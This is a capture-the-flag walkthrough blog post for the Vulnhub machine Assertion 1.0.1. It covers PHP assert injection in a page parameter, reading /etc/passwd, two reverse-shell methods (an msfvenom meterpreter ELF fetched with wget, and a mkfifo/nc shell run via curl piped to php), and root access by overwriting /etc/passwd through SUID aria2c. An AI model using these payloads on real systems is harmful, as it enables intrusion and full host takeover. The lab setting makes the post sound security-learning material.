Vulnhub: Assertion 1.0.1

4 min readJul 4, 2020

You won't know unless you try it

This box teach me new knowledge and I want to share with everyone who reads this :)

Enumeration

Let’s do nmap first and see what do we get.

22/tcp open  ssh     syn-ack ttl 64 OpenSSH 7.6p1 Ubuntu 4ubuntu0.3
80/tcp open  http    syn-ack ttl 64 Apache httpd 2.4.29

Port 80 (Http)

Inside the website, we can see a lot of pages thus we can run our Gobuster to check any interesting files.

But there is nothing that we found interesting. So I further checking the page source and found the link to open any page looks like this. LFI!!!

http://<ip>/index.php?page=gallery

Local File Inclusion (LFI)

In this case, I always use Burpsuite and with my own custom wordlist that I created (check on references).

Add the payload marker like the above diagram and paste the payload. Start attack!

Okay, usually it works but now totally not working. Then I go search if there are any alternatives or another way to LFI. Then by using the keyword “assert” and “lfi” I found an interesting StackOverflow discussion.

It's working nicely! Use CyberChef to URL Encode.

' and die(show_source('/etc/passwd')) or '

First User (www-data)

I will show you 2 ways to get a reverse shell :

First (Msfvenom Payload)

#Create payload
msfvenom -p linux/x86/meterpreter/reverse_tcp LHOST=<ip> LPORT=<port> -f elf > shell.elf#Wget into /tmp (Url Encoded)
' and die(system("wget 'http://<ip>/shell.elf' -O /tmp/shell.elf")) or '#Run while use multi/handler
' and die(system("/tmp/shell.elf")) or '

Second (Curl Php)

#Create a php reverse shell (shell.php)
<?php
    system('rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc 192.168.0.142 9001 >/tmp/f');
?>#Curl and listen (Url Encoded)
' and die(system("curl http://<ip>/shell.php|php")) or '

We got our shell!

Root

Let's run linpeas and check if there are any interesting files that can be found.

We get a yellow color on the aria2c file !! So after checking on GTFOBins I found something related with the SUID but it seems not working at all :’)

But I can read /etc/shadow as root using this command

/usr/bin/aria2c -i <any file>

After a lot of searching. I found a way to overwrite a file as root. These are my steps and I hope everyone learns new knowledge from my writing :) You can view my previous writeup on how to escalate when /etc/passwd is writable.

#Copy /etc/passwd by read as a root
/usr/bin/aria2c -i /etc/passwd#Add user with root rigts in the file
Tom:ad7t5uIalqMws:0:0:User_like_root:/root:/bin/bash#Upload it inside /etc (must be in /etc directory)
/usr/bin/aria2c -o passwd "http://<ip>/newpasswd" --allow-overwrite=true#Get the shell! (Pass : Password@973)
su Tom

Rooted! The previous box really helps me a lot this time haha. I would like to thanks to my friend @ch4rm if it's not for him I would not think this way xD

If there is any suggestion please tell me or if there is something that I can improve also please do tell me. Hope this writeup help anyone and let’s learn together :)

H0j3n

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